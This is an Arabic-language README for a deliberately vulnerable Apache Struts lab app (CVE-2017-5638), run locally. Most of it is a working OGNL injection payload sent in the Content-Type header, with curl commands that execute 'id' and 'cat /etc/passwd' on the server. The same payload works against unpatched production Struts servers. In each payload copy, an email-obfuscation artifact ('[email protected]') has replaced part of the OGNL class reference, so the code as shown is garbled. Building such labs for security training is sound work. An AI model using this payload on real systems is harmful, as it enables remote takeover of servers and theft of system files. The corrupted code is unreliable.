:source-highlighter: pygments
= استغلال Apache Struts CVE-2017-5638
تم بناء تطبيق الويب البسيط هذا باستخدام Apache Struts 2.5.10 الضعيف (CVE-2017-5638). وهو عرضة لتنفيذ الأوامر عن بُعد (RCE).
== بدء تشغيل تطبيق الويب
لبدء تشغيل تطبيق الويب الضعيف، نفّذ الأمر التالي:
mvn jetty:run
سيكون التطبيق متاحًا على المنفذ 8012 افتراضيًا. يمكنك تغييره:
mvn -Djetty.http.port= jetty:run
== الوصول إلى تطبيق الويب
للوصول إلى تطبيق الويب الضعيف، افتح الرابط التالي في متصفحك: http://127.0.0.1:8012/struts-rce. إذا غيّرت المنفذ الافتراضي، عدّل الرابط وفقًا لذلك.
== استغلال تطبيق الويب
يمكن استغلال الثغرة لتنفيذ أمر تعسفي على جانب الخادم (RCE). يتم تضمين الحمولة في ترويسة HTTP Content-Type.
ستقوم الحمولة التالية بتنفيذ الأمر id:
[source,http]
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
سينفّذ الأمر التالي أمر id على جانب الخادم:
[source,bash]
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action
سينفّذ الأمر أدناه cat /etc/passwd:
[source,bash]
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','cat /etc/passwd'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action